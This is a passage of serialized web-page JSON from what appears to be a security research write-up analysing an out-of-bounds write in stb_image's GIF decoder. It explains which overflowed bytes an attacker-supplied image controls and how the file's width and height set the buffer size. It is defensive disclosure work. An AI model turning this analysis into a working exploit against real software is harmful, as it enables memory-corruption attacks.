",{"type":23,"tag":139,"props":146309,"children":146310},{"style":982},[146311],{"type":28,"value":1067},{"type":23,"tag":139,"props":146313,"children":146314},{"style":982},[146315],{"type":28,"value":5144},{"type":23,"tag":139,"props":146317,"children":146318},{"style":294},[146319],{"type":28,"value":107202},{"type":23,"tag":139,"props":146321,"children":146322},{"style":259},[146323],{"type":28,"value":11768},{"type":23,"tag":139,"props":146325,"children":146326},{"style":294},[146327],{"type":28,"value":146328},"color_table",{"type":23,"tag":139,"props":146330,"children":146331},{"style":259},[146332],{"type":28,"value":1723},{"type":23,"tag":139,"props":146334,"children":146335},{"style":294},[146336],{"type":28,"value":107202},{"type":23,"tag":139,"props":146338,"children":146339},{"style":259},[146340],{"type":28,"value":11768},{"type":23,"tag":139,"props":146342,"children":146343},{"style":294},[146344],{"type":28,"value":146345},"codes",{"type":23,"tag":139,"props":146347,"children":146348},{"style":259},[146349],{"type":28,"value":146350},"[code].",{"type":23,"tag":139,"props":146352,"children":146353},{"style":294},[146354],{"type":28,"value":146355},"suffix",{"type":23,"tag":139,"props":146357,"children":146358},{"style":982},[146359],{"type":28,"value":7825},{"type":23,"tag":139,"props":146361,"children":146362},{"style":1016},[146363],{"type":28,"value":9756},{"type":23,"tag":139,"props":146365,"children":146366},{"style":259},[146367],{"type":28,"value":29461},{"type":23,"tag":139,"props":146369,"children":146370},{"class":141,"line":1320},[146371,146375,146379,146383,146387,146391,146395,146399,146404],{"type":23,"tag":139,"props":146372,"children":146373},{"style":319},[146374],{"type":28,"value":50542},{"type":23,"tag":139,"props":146376,"children":146377},{"style":259},[146378],{"type":28,"value":1042},{"type":23,"tag":139,"props":146380,"children":146381},{"style":294},[146382],{"type":28,"value":1123},{"type":23,"tag":139,"props":146384,"children":146385},{"style":259},[146386],{"type":28,"value":1723},{"type":23,"tag":139,"props":146388,"children":146389},{"style":1016},[146390],{"type":28,"value":15308},{"type":23,"tag":139,"props":146392,"children":146393},{"style":259},[146394],{"type":28,"value":6666},{"type":23,"tag":139,"props":146396,"children":146397},{"style":982},[146398],{"type":28,"value":8471},{"type":23,"tag":139,"props":146400,"children":146401},{"style":1016},[146402],{"type":28,"value":146403}," 128",{"type":23,"tag":139,"props":146405,"children":146406},{"style":259},[146407],{"type":28,"value":12815},{"type":23,"tag":139,"props":146409,"children":146410},{"class":141,"line":1329},[146411,146416,146420,146424,146428,146432,146436,146440,146444,146448],{"type":23,"tag":139,"props":146412,"children":146413},{"style":294},[146414],{"type":28,"value":146415},"      p",{"type":23,"tag":139,"props":146417,"children":146418},{"style":259},[146419],{"type":28,"value":1723},{"type":23,"tag":139,"props":146421,"children":146422},{"style":1016},[146423],{"type":28,"value":2021},{"type":23,"tag":139,"props":146425,"children":146426},{"style":259},[146427],{"type":28,"value":6666},{"type":23,"tag":139,"props":146429,"children":146430},{"style":982},[146431],{"type":28,"value":1067},{"type":23,"tag":139,"props":146433,"children":146434},{"style":294},[146435],{"type":28,"value":35335},{"type":23,"tag":139,"props":146437,"children":146438},{"style":259},[146439],{"type":28,"value":1723},{"type":23,"tag":139,"props":146441,"children":146442},{"style":1016},[146443],{"type":28,"value":1099},{"type":23,"tag":139,"props":146445,"children":146446},{"style":259},[146447],{"type":28,"value":53810},{"type":23,"tag":139,"props":146449,"children":146450},{"style":958},[146451],{"type":28,"value":146452},"        // OOB write\n",{"type":23,"tag":139,"props":146454,"children":146455},{"class":141,"line":1580},[146456,146460,146464,146468,146472,146476,146480,146484,146488],{"type":23,"tag":139,"props":146457,"children":146458},{"style":294},[146459],{"type":28,"value":146415},{"type":23,"tag":139,"props":146461,"children":146462},{"style":259},[146463],{"type":28,"value":1723},{"type":23,"tag":139,"props":146465,"children":146466},{"style":1016},[146467],{"type":28,"value":647},{"type":23,"tag":139,"props":146469,"children":146470},{"style":259},[146471],{"type":28,"value":6666},{"type":23,"tag":139,"props":146473,"children":146474},{"style":982},[146475],{"type":28,"value":1067},{"type":23,"tag":139,"props":146477,"children":146478},{"style":294},[146479],{"type":28,"value":35335},{"type":23,"tag":139,"props":146481,"children":146482},{"style":259},[146483],{"type":28,"value":1723},{"type":23,"tag":139,"props":146485,"children":146486},{"style":1016},[146487],{"type":28,"value":647},{"type":23,"tag":139,"props":146489,"children":146490},{"style":259},[146491],{"type":28,"value":29461},{"type":23,"tag":139,"props":146493,"children":146494},{"class":141,"line":1597},[146495,146499,146503,146507,146511,146515,146519,146523,146527],{"type":23,"tag":139,"props":146496,"children":146497},{"style":294},[146498],{"type":28,"value":146415},{"type":23,"tag":139,"props":146500,"children":146501},{"style":259},[146502],{"type":28,"value":1723},{"type":23,"tag":139,"props":146504,"children":146505},{"style":1016},[146506],{"type":28,"value":1099},{"type":23,"tag":139,"props":146508,"children":146509},{"style":259},[146510],{"type":28,"value":6666},{"type":23,"tag":139,"props":146512,"children":146513},{"style":982},[146514],{"type":28,"value":1067},{"type":23,"tag":139,"props":146516,"children":146517},{"style":294},[146518],{"type":28,"value":35335},{"type":23,"tag":139,"props":146520,"children":146521},{"style":259},[146522],{"type":28,"value":1723},{"type":23,"tag":139,"props":146524,"children":146525},{"style":1016},[146526],{"type":28,"value":2021},{"type":23,"tag":139,"props":146528,"children":146529},{"style":259},[146530],{"type":28,"value":29461},{"type":23,"tag":139,"props":146532,"children":146533},{"class":141,"line":1614},[146534,146538,146542,146546,146550,146554,146558,146562,146566],{"type":23,"tag":139,"props":146535,"children":146536},{"style":294},[146537],{"type":28,"value":146415},{"type":23,"tag":139,"props":146539,"children":146540},{"style":259},[146541],{"type":28,"value":1723},{"type":23,"tag":139,"props":146543,"children":146544},{"style":1016},[146545],{"type":28,"value":15308},{"type":23,"tag":139,"props":146547,"children":146548},{"style":259},[146549],{"type":28,"value":6666},{"type":23,"tag":139,"props":146551,"children":146552},{"style":982},[146553],{"type":28,"value":1067},{"type":23,"tag":139,"props":146555,"children":146556},{"style":294},[146557],{"type":28,"value":35335},{"type":23,"tag":139,"props":146559,"children":146560},{"style":259},[146561],{"type":28,"value":1723},{"type":23,"tag":139,"props":146563,"children":146564},{"style":1016},[146565],{"type":28,"value":15308},{"type":23,"tag":139,"props":146567,"children":146568},{"style":259},[146569],{"type":28,"value":29461},{"type":23,"tag":139,"props":146571,"children":146572},{"class":141,"line":1627},[146573],{"type":23,"tag":139,"props":146574,"children":146575},{"style":259},[146576],{"type":28,"value":32637},{"type":23,"tag":24,"props":146578,"children":146579},{},[146580,146582,146587,146589,146594],{"type":28,"value":146581},"This confirms ",{"type":23,"tag":135,"props":146583,"children":146585},{"className":146584},[],[146586],{"type":28,"value":74421},{"type":28,"value":146588}," is OOB for ",{"type":23,"tag":135,"props":146590,"children":146592},{"className":146591},[],[146593],{"type":28,"value":146072},{"type":28,"value":146595}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":146597,"children":146598},{},[146599,146601,146607,146609,146616],{"type":28,"value":146600},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":135,"props":146602,"children":146604},{"className":146603},[],[146605],{"type":28,"value":146606},"g->color_table",{"type":28,"value":146608}," is populated by ",{"type":23,"tag":64,"props":146610,"children":146613},{"href":146611,"rel":146612},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[68],[146614],{"type":28,"value":146615},"stbi__gif_parse_colortable",{"type":28,"value":2493},{"type":23,"tag":128,"props":146618,"children":146620},{"code":146619,"language":1123,"meta":7,"className":14526,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[146621],{"type":23,"tag":135,"props":146622,"children":146623},{"__ignoreMap":7},[146624,146644,146664,146703,146719,146731,146738,146749,146792,146826,146857,146888,146945,146952],{"type":23,"tag":139,"props":146625,"children":146626},{"class":141,"line":142},[146627,146631,146635,146640],{"type":23,"tag":139,"props":146628,"children":146629},{"style":279},[146630],{"type":28,"value":48942},{"type":23,"tag":139,"props":146632,"children":146633},{"style":279},[146634],{"type":28,"value":48947},{"type":23,"tag":139,"props":146636,"children":146637},{"style":245},[146638],{"type":28,"value":146639}," stbi__gif_parse_colortable",{"type":23,"tag":139,"props":146641,"children":146642},{"style":259},[146643],{"type":28,"value":1443},{"type":23,"tag":139,"props":146645,"children":146646},{"class":141,"line":151},[146647,146652,146656,146660],{"type":23,"tag":139,"props":146648,"children":146649},{"style":259},[146650],{"type":28,"value":146651},"    stbi__context ",{"type":23,"tag":139,"props":146653,"children":146654},{"style":982},[146655],{"type":28,"value":2573},{"type":23,"tag":139,"props":146657,"children":146658},{"style":294},[146659],{"type":28,"value":8661},{"type":23,"tag":139,"props":146661,"children":146662},{"style":259},[146663],{"type":28,"value":1488},{"type":23,"tag":139,"props":146665,"children":146666},{"class":141,"line":160},[146667,146672,146677,146681,146685,146689,146693,146698],{"type":23,"tag":139,"props":146668,"children":146669},{"style":259},[146670],{"type":28,"value":146671},"    stbi_uc ",{"type":23,"tag":139,"props":146673,"children":146674},{"style":294},[146675],{"type":28,"value":146676},"pal",{"type":23,"tag":139,"props":146678,"children":146679},{"style":259},[146680],{"type":28,"value":1723},{"type":23,"tag":139,"props":146682,"children":146683},{"style":1016},[146684],{"type":28,"value":91199},{"type":23,"tag":139,"props":146686,"children":146687},{"style":259},[146688],{"type":28,"value":46855},{"type":23,"tag":139,"props":146690,"children":146691},{"style":1016},[146692],{"type":28,"value":15541},{"type":23,"tag":139,"props":146694,"children":146695},{"style":259},[146696],{"type":28,"value":146697},"],",{"type":23,"tag":139,"props":146699,"children":146700},{"style":958},[146701],{"type":28,"value":146702},"    // g->color_table\n",{"type":23,"tag":139,"props":146704,"children":146705},{"class":141,"line":169},[146706,146710,146715],{"type":23,"tag":139,"props":146707,"children":146708},{"style":279},[146709],{"type":28,"value":17085},{"type":23,"tag":139,"props":146711,"children":146712},{"style":294},[146713],{"type":28,"value":146714}," num_entries",{"type":23,"tag":139,"props":146716,"children":146717},{"style":259},[146718],{"type":28,"value":1488},{"type":23,"tag":139,"props":146720,"children":146721},{"class":141,"line":178},[146722,146726],{"type":23,"tag":139,"props":146723,"children":146724},{"style":279},[146725],{"type":28,"value":17085},{"type":23,"tag":139,"props":146727,"children":146728},{"style":259},[146729],{"type":28,"value":146730}," transp\n",{"type":23,"tag":139,"props":146732,"children":146733},{"class":141,"line":187},[146734],{"type":23,"tag":139,"props":146735,"children":146736},{"style":259},[146737],{"type":28,"value":12815},{"type":23,"tag":139,"props":146739,"children":146740},{"class":141,"line":196},[146741,146745],{"type":23,"tag":139,"props":146742,"children":146743},{"style":279},[146744],{"type":28,"value":145793},{"type":23,"tag":139,"props":146746,"children":146747},{"style":259},[146748],{"type":28,"value":55863},{"type":23,"tag":139,"props":146750,"children":146751},{"class":141,"line":205},[146752,146757,146762,146766,146770,146774,146778,146783,146787],{"type":23,"tag":139,"props":146753,"children":146754},{"style":319},[146755],{"type":28,"value":146756},"   for",{"type":23,"tag":139,"props":146758,"children":146759},{"style":259},[146760],{"type":28,"value":146761}," (i",{"type":23,"tag":139,"props":146763,"children":146764},{"style":982},[146765],{"type":28,"value":1067},{"type":23,"tag":139,"props":146767,"children":146768},{"style":1016},[146769],{"type":28,"value":2021},{"type":23,"tag":139,"props":146771,"children":146772},{"style":259},[146773],{"type":28,"value":49131},{"type":23,"tag":139,"props":146775,"children":146776},{"style":982},[146777],{"type":28,"value":3808},{"type":23,"tag":139,"props":146779,"children":146780},{"style":259},[146781],{"type":28,"value":146782}," num_entries; ",{"type":23,"tag":139,"props":146784,"children":146785},{"style":982},[146786],{"type":28,"value":49167},{"type":23,"tag":139,"props":146788,"children":146789},{"style":259},[146790],{"type":28,"value":146791},"i) {\n",{"type":23,"tag":139,"props":146793,"children":146794},{"class":141,"line":214},[146795,146800,146804,146808,146812,146816,146821],{"type":23,"tag":139,"props":146796,"children":146797},{"style":294},[146798],{"type":28,"value":146799},"      pal",{"type":23,"tag":139,"props":146801,"children":146802},{"style":259},[146803],{"type":28,"value":58554},{"type":23,"tag":139,"props":146805,"children":146806},{"style":1016},[146807],{"type":28,"value":1099},{"type":23,"tag":139,"props":146809,"children":146810},{"style":259},[146811],{"type":28,"value":6666},{"type":23,"tag":139,"props":146813,"children":146814},{"style":982},[146815],{"type":28,"value":1067},{"type":23,"tag":139,"props":146817,"children":146818},{"style":245},[146819],{"type":28,"value":146820}," stbi__get8",{"type":23,"tag":139,"props":146822,"children":146823},{"style":259},[146824],{"type":28,"value":146825},"(s);\n",{"type":23,"tag":139,"props":146827,"children":146828},{"class":141,"line":1320},[146829,146833,146837,146841,146845,146849,146853],{"type":23,"tag":139,"props":146830,"children":146831},{"style":294},[146832],{"type":28,"value":146799},{"type":23,"tag":139,"props":146834,"children":146835},{"style":259},[146836],{"type":28,"value":58554},{"type":23,"tag":139,"props":146838,"children":146839},{"style":1016},[146840],{"type":28,"value":647},{"type":23,"tag":139,"props":146842,"children":146843},{"style":259},[146844],{"type":28,"value":6666},{"type":23,"tag":139,"props":146846,"children":146847},{"style":982},[146848],{"type":28,"value":1067},{"type":23,"tag":139,"props":146850,"children":146851},{"style":245},[146852],{"type":28,"value":146820},{"type":23,"tag":139,"props":146854,"children":146855},{"style":259},[146856],{"type":28,"value":146825},{"type":23,"tag":139,"props":146858,"children":146859},{"class":141,"line":1329},[146860,146864,146868,146872,146876,146880,146884],{"type":23,"tag":139,"props":146861,"children":146862},{"style":294},[146863],{"type":28,"value":146799},{"type":23,"tag":139,"props":146865,"children":146866},{"style":259},[146867],{"type":28,"value":58554},{"type":23,"tag":139,"props":146869,"children":146870},{"style":1016},[146871],{"type":28,"value":2021},{"type":23,"tag":139,"props":146873,"children":146874},{"style":259},[146875],{"type":28,"value":6666},{"type":23,"tag":139,"props":146877,"children":146878},{"style":982},[146879],{"type":28,"value":1067},{"type":23,"tag":139,"props":146881,"children":146882},{"style":245},[146883],{"type":28,"value":146820},{"type":23,"tag":139,"props":146885,"children":146886},{"style":259},[146887],{"type":28,"value":146825},{"type":23,"tag":139,"props":146889,"children":146890},{"class":141,"line":1580},[146891,146895,146899,146903,146907,146911,146916,146920,146924,146928,146932,146936,146941],{"type":23,"tag":139,"props":146892,"children":146893},{"style":294},[146894],{"type":28,"value":146799},{"type":23,"tag":139,"props":146896,"children":146897},{"style":259},[146898],{"type":28,"value":58554},{"type":23,"tag":139,"props":146900,"children":146901},{"style":1016},[146902],{"type":28,"value":15308},{"type":23,"tag":139,"props":146904,"children":146905},{"style":259},[146906],{"type":28,"value":6666},{"type":23,"tag":139,"props":146908,"children":146909},{"style":982},[146910],{"type":28,"value":1067},{"type":23,"tag":139,"props":146912,"children":146913},{"style":259},[146914],{"type":28,"value":146915}," transp ",{"type":23,"tag":139,"props":146917,"children":146918},{"style":982},[146919],{"type":28,"value":6580},{"type":23,"tag":139,"props":146921,"children":146922},{"style":259},[146923],{"type":28,"value":52442},{"type":23,"tag":139,"props":146925,"children":146926},{"style":982},[146927],{"type":28,"value":1132},{"type":23,"tag":139,"props":146929,"children":146930},{"style":1016},[146931],{"type":28,"value":1019},{"type":23,"tag":139,"props":146933,"children":146934},{"style":982},[146935],{"type":28,"value":33005},{"type":23,"tag":139,"props":146937,"children":146938},{"style":1016},[146939],{"type":28,"value":146940}," 255",{"type":23,"tag":139,"props":146942,"children":146943},{"style":259},[146944],{"type":28,"value":995},{"type":23,"tag":139,"props":146946,"children":146947},{"class":141,"line":1597},[146948],{"type":23,"tag":139,"props":146949,"children":146950},{"style":259},[146951],{"type":28,"value":32637},{"type":23,"tag":139,"props":146953,"children":146954},{"class":141,"line":1614},[146955],{"type":23,"tag":139,"props":146956,"children":146957},{"style":259},[146958],{"type":28,"value":1897},{"type":23,"tag":24,"props":146960,"children":146961},{},[146962,146964,146969,146970,146975,146977,146982],{"type":28,"value":146963},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":135,"props":146965,"children":146967},{"className":146966},[],[146968],{"type":28,"value":2021},{"type":28,"value":11145},{"type":23,"tag":135,"props":146971,"children":146973},{"className":146972},[],[146974],{"type":28,"value":111247},{"type":28,"value":146976},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":135,"props":146978,"children":146980},{"className":146979},[],[146981],{"type":28,"value":27867},{"type":28,"value":2493},{"type":23,"tag":128,"props":146984,"children":146986},{"code":146985,"language":1123,"meta":7,"className":14526,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[146987],{"type":23,"tag":135,"props":146988,"children":146989},{"__ignoreMap":7},[146990,147053,147092,147131,147170,147209,147248],{"type":23,"tag":139,"props":146991,"children":146992},{"class":141,"line":142},[146993,146997,147001,147005,147009,147013,147017,147021,147025,147029,147033,147037,147041,147045,147049],{"type":23,"tag":139,"props":146994,"children":146995},{"style":259},[146996],{"type":28,"value":146307},{"type":23,"tag":139,"props":146998,"children":146999},{"style":982},[147000],{"type":28,"value":1067},{"type":23,"tag":139,"props":147002,"children":147003},{"style":982},[147004],{"type":28,"value":5144},{"type":23,"tag":139,"props":147006,"children":147007},{"style":259},[147008],{"type":28,"value":107202},{"type":23,"tag":139,"props":147010,"children":147011},{"style":982},[147012],{"type":28,"value":11768},{"type":23,"tag":139,"props":147014,"children":147015},{"style":294},[147016],{"type":28,"value":146328},{"type":23,"tag":139,"props":147018,"children":147019},{"style":259},[147020],{"type":28,"value":1723},{"type":23,"tag":139,"props":147022,"children":147023},{"style":294},[147024],{"type":28,"value":107202},{"type":23,"tag":139,"props":147026,"children":147027},{"style":259},[147028],{"type":28,"value":11768},{"type":23,"tag":139,"props":147030,"children":147031},{"style":294},[147032],{"type":28,"value":146345},{"type":23,"tag":139,"props":147034,"children":147035},{"style":259},[147036],{"type":28,"value":146350},{"type":23,"tag":139,"props":147038,"children":147039},{"style":294},[147040],{"type":28,"value":146355},{"type":23,"tag":139,"props":147042,"children":147043},{"style":982},[147044],{"type":28,"value":7825},{"type":23,"tag":139,"props":147046,"children":147047},{"style":1016},[147048],{"type":28,"value":9756},{"type":23,"tag":139,"props":147050,"children":147051},{"style":259},[147052],{"type":28,"value":29461},{"type":23,"tag":139,"props":147054,"children":147055},{"class":141,"line":151},[147056,147060,147064,147068,147072,147076,147080,147084,147088],{"type":23,"tag":139,"props":147057,"children":147058},{"style":319},[147059],{"type":28,"value":50542},{"type":23,"tag":139,"props":147061,"children":147062},{"style":259},[147063],{"type":28,"value":1042},{"type":23,"tag":139,"props":147065,"children":147066},{"style":294},[147067],{"type":28,"value":1123},{"type":23,"tag":139,"props":147069,"children":147070},{"style":259},[147071],{"type":28,"value":1723},{"type":23,"tag":139,"props":147073,"children":147074},{"style":1016},[147075],{"type":28,"value":15308},{"type":23,"tag":139,"props":147077,"children":147078},{"style":259},[147079],{"type":28,"value":6666},{"type":23,"tag":139,"props":147081,"children":147082},{"style":982},[147083],{"type":28,"value":8471},{"type":23,"tag":139,"props":147085,"children":147086},{"style":1016},[147087],{"type":28,"value":146403},{"type":23,"tag":139,"props":147089,"children":147090},{"style":259},[147091],{"type":28,"value":12815},{"type":23,"tag":139,"props":147093,"children":147094},{"class":141,"line":160},[147095,147099,147103,147107,147111,147115,147119,147123,147127],{"type":23,"tag":139,"props":147096,"children":147097},{"style":294},[147098],{"type":28,"value":146415},{"type":23,"tag":139,"props":147100,"children":147101},{"style":259},[147102],{"type":28,"value":1723},{"type":23,"tag":139,"props":147104,"children":147105},{"style":1016},[147106],{"type":28,"value":2021},{"type":23,"tag":139,"props":147108,"children":147109},{"style":259},[147110],{"type":28,"value":6666},{"type":23,"tag":139,"props":147112,"children":147113},{"style":982},[147114],{"type":28,"value":1067},{"type":23,"tag":139,"props":147116,"children":147117},{"style":294},[147118],{"type":28,"value":35335},{"type":23,"tag":139,"props":147120,"children":147121},{"style":259},[147122],{"type":28,"value":1723},{"type":23,"tag":139,"props":147124,"children":147125},{"style":1016},[147126],{"type":28,"value":1099},{"type":23,"tag":139,"props":147128,"children":147129},{"style":259},[147130],{"type":28,"value":29461},{"type":23,"tag":139,"props":147132,"children":147133},{"class":141,"line":169},[147134,147138,147142,147146,147150,147154,147158,147162,147166],{"type":23,"tag":139,"props":147135,"children":147136},{"style":294},[147137],{"type":28,"value":146415},{"type":23,"tag":139,"props":147139,"children":147140},{"style":259},[147141],{"type":28,"value":1723},{"type":23,"tag":139,"props":147143,"children":147144},{"style":1016},[147145],{"type":28,"value":647},{"type":23,"tag":139,"props":147147,"children":147148},{"style":259},[147149],{"type":28,"value":6666},{"type":23,"tag":139,"props":147151,"children":147152},{"style":982},[147153],{"type":28,"value":1067},{"type":23,"tag":139,"props":147155,"children":147156},{"style":294},[147157],{"type":28,"value":35335},{"type":23,"tag":139,"props":147159,"children":147160},{"style":259},[147161],{"type":28,"value":1723},{"type":23,"tag":139,"props":147163,"children":147164},{"style":1016},[147165],{"type":28,"value":647},{"type":23,"tag":139,"props":147167,"children":147168},{"style":259},[147169],{"type":28,"value":29461},{"type":23,"tag":139,"props":147171,"children":147172},{"class":141,"line":178},[147173,147177,147181,147185,147189,147193,147197,147201,147205],{"type":23,"tag":139,"props":147174,"children":147175},{"style":294},[147176],{"type":28,"value":146415},{"type":23,"tag":139,"props":147178,"children":147179},{"style":259},[147180],{"type":28,"value":1723},{"type":23,"tag":139,"props":147182,"children":147183},{"style":1016},[147184],{"type":28,"value":1099},{"type":23,"tag":139,"props":147186,"children":147187},{"style":259},[147188],{"type":28,"value":6666},{"type":23,"tag":139,"props":147190,"children":147191},{"style":982},[147192],{"type":28,"value":1067},{"type":23,"tag":139,"props":147194,"children":147195},{"style":294},[147196],{"type":28,"value":35335},{"type":23,"tag":139,"props":147198,"children":147199},{"style":259},[147200],{"type":28,"value":1723},{"type":23,"tag":139,"props":147202,"children":147203},{"style":1016},[147204],{"type":28,"value":2021},{"type":23,"tag":139,"props":147206,"children":147207},{"style":259},[147208],{"type":28,"value":29461},{"type":23,"tag":139,"props":147210,"children":147211},{"class":141,"line":187},[147212,147216,147220,147224,147228,147232,147236,147240,147244],{"type":23,"tag":139,"props":147213,"children":147214},{"style":294},[147215],{"type":28,"value":146415},{"type":23,"tag":139,"props":147217,"children":147218},{"style":259},[147219],{"type":28,"value":1723},{"type":23,"tag":139,"props":147221,"children":147222},{"style":1016},[147223],{"type":28,"value":15308},{"type":23,"tag":139,"props":147225,"children":147226},{"style":259},[147227],{"type":28,"value":6666},{"type":23,"tag":139,"props":147229,"children":147230},{"style":982},[147231],{"type":28,"value":1067},{"type":23,"tag":139,"props":147233,"children":147234},{"style":294},[147235],{"type":28,"value":35335},{"type":23,"tag":139,"props":147237,"children":147238},{"style":259},[147239],{"type":28,"value":1723},{"type":23,"tag":139,"props":147241,"children":147242},{"style":1016},[147243],{"type":28,"value":15308},{"type":23,"tag":139,"props":147245,"children":147246},{"style":259},[147247],{"type":28,"value":29461},{"type":23,"tag":139,"props":147249,"children":147250},{"class":141,"line":196},[147251],{"type":23,"tag":139,"props":147252,"children":147253},{"style":259},[147254],{"type":28,"value":32637},{"type":23,"tag":24,"props":147256,"children":147257},{},[147258,147259,147264,147266,147271,147273,147278],{"type":28,"value":22035},{"type":23,"tag":135,"props":147260,"children":147262},{"className":147261},[],[147263],{"type":28,"value":146615},{"type":28,"value":147265}," has to set the last byte to ",{"type":23,"tag":135,"props":147267,"children":147269},{"className":147268},[],[147270],{"type":28,"value":111247},{"type":28,"value":147272}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":135,"props":147274,"children":147276},{"className":147275},[],[147277],{"type":28,"value":111247},{"type":28,"value":73},{"type":23,"tag":24,"props":147280,"children":147281},{},[147282,147284,147289,147291,147297,147298,147304],{"type":28,"value":147283},"In the code we can see that size of the ",{"type":23,"tag":135,"props":147285,"children":147287},{"className":147286},[],[147288],{"type":28,"value":146072},{"type":28,"value":147290}," allocation is controlled through ",{"type":23,"tag":135,"props":147292,"children":147294},{"className":147293},[],[147295],{"type":28,"value":147296},"g->w",{"type":28,"value":9002},{"type":23,"tag":135,"props":147299,"children":147301},{"className":147300},[],[147302],{"type":28,"value":147303},"g->h",{"type":28,"value":147305}," values, both of which are read from the input file itself:",{"type":23,"tag":128,"props":147307,"children":147309},{"code":147308,"language":1123,"meta":7,"className":14526,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[147310],{"type":23,"tag":135,"props":147311,"children":147312},{"__ignoreMap":7},[147313,147338,147345,147352,147387,147433],{"type":23,"tag":139,"props":147314,"children":147315},{"class":141,"line":142},[147316,147320,147325,147329,147333],{"type":23,"tag":139,"props":147317,"children":147318},{"style":279},[147319],{"type":28,"value":48942},{"type":23,"tag":139,"props":147321,"children":147322},{"style":259},[147323],{"type":28,"value":147324}," stbi_uc ",{"type":23,"tag":139,"props":147326,"children":147327},{"style":982},[147328],{"type":28,"value":2573},{"type":23,"tag":139,"props":147330,"children":147331},{"style":245},[147332],{"type":28,"value":145251},{"type":23,"tag":139,"props":147334,"children":147335},{"style":259},[147336],{"type":28,"value":147337},"(...)\n",{"type":23,"tag":139,"props":147339,"children":147340},{"class":141,"line":151},[147341],{"type":23,"tag":139,"props":147342,"children":147343},{"style":259},[147344],{"type":28,"value":8890},{"type":23,"tag":139,"props":147346,"children":147347},{"class":141,"line":160},[147348],{"type":23,"tag":139,"props":147349,"children":147350},{"style":259},[147351],{"type":28,"value":145813},{"type":23,"tag":139,"props":147353,"children":147354},{"class":141,"line":169},[147355,147359,147363,147367,147371,147375,147379,147383],{"type":23,"tag":139,"props":147356,"children":147357},{"style":319},[147358],{"type":28,"value":50542},{"type":23,"tag":139,"props":147360,"children":147361},{"style":259},[147362],{"type":28,"value":1042},{"type":23,"tag":139,"props":147364,"children":147365},{"style":294},[147366],{"type":28,"value":107202},{"type":23,"tag":139,"props":147368,"children":147369},{"style":259},[147370],{"type":28,"value":11768},{"type":23,"tag":139,"props":147372,"children":147373},{"style":294},[147374],{"type":28,"value":116625},{"type":23,"tag":139,"props":147376,"children":147377},{"style":982},[147378],{"type":28,"value":1259},{"type":23,"tag":139,"props":147380,"children":147381},{"style":1016},[147382],{"type":28,"value":1019},{"type":23,"tag":139,"props":147384,"children":147385},{"style":259},[147386],{"type":28,"value":12815},{"type":23,"tag":139,"props":147388,"children":147389},{"class":141,"line":178},[147390,147394,147398,147402,147407,147412,147416,147421,147425,147429],{"type":23,"tag":139,"props":147391,"children":147392},{"style":319},[147393],{"type":28,"value":37177},{"type":23,"tag":139,"props":147395,"children":147396},{"style":259},[147397],{"type":28,"value":1042},{"type":23,"tag":139,"props":147399,"children":147400},{"style":982},[147401],{"type":28,"value":18629},{"type":23,"tag":139,"props":147403,"children":147404},{"style":245},[147405],{"type":28,"value":147406},"stbi__gif_header",{"type":23,"tag":139,"props":147408,"children":147409},{"style":259},[147410],{"type":28,"value":147411},"(s, g, comp,",{"type":23,"tag":139,"props":147413,"children":147414},{"style":1016},[147415],{"type":28,"value":2021},{"type":23,"tag":139,"props":147417,"children":147418},{"style":259},[147419],{"type":28,"value":147420},"))     ",{"type":23,"tag":139,"props":147422,"children":147423},{"style":319},[147424],{"type":28,"value":46354},{"type":23,"tag":139,"props":147426,"children":147427},{"style":1016},[147428],{"type":28,"value":1019},{"type":23,"tag":139,"props":147430,"children":147431},{"style":259},[147432],{"type":28,"value":995},{"type":23,"tag":139,"props":147434,"children":147435},{"class":141,"line":187},[147436,147441,147445,147449,147453,147458,147462,147466,147471,147475,147479,147483,147487,147491,147495,147499,147503,147507,147511],{"type":23,"tag":139,"props":147437,"children":147438},{"style":294},[147439],{"type":28,"value":147440},"      g",{"type":23,"tag":139,"props":147442,"children":147443},{"style":259},[147444],{"type":28,"value":11768},{"type":23,"tag":139,"props":147446,"children":147447},{"style":294},[147448],{"type":28,"value":116625},{"type":23,"tag":139,"props":147450,"children":147451},{"style":982},[147452],{"type":28,"value":985},{"type":23,"tag":139,"props":147454,"children":147455},{"style":259},[147456],{"type":28,"value":147457}," (stbi_uc ",{"type":23,"tag":139,"props":147459,"children":147460},{"style":982},[147461],{"type":28,"value":2573},{"type":23,"tag":139,"props":147463,"children":147464},{"style":259},[147465],{"type":28,"value":1062},{"type":23,"tag":139,"props":147467,"children":147468},{"style":245},[147469],{"type":28,"value":147470},"stbi__malloc",{"type":23,"tag":139,"props":147472,"children":147473},{"style":259},[147474],{"type":28,"value":262},{"type":23,"tag":139,"props":147476,"children":147477},{"style":1016},[147478],{"type":28,"value":15541},{"type":23,"tag":139,"props":147480,"children":147481},{"style":982},[147482],{"type":28,"value":7825},{"type":23,"tag":139,"props":147484,"children":147485},{"style":294},[147486],{"type":28,"value":145853},{"type":23,"tag":139,"props":147488,"children":147489},{"style":259},[147490],{"type":28,"value":11768},{"type":23,"tag":139,"props":147492,"children":147493},{"style":294},[147494],{"type":28,"value":47469},{"type":23,"tag":139,"props":147496,"children":147497},{"style":982},[147498],{"type":28,"value":7825},{"type":23,"tag":139,"props":147500,"children":147501},{"style":294},[147502],{"type":28,"value":145853},{"type":23,"tag":139,"p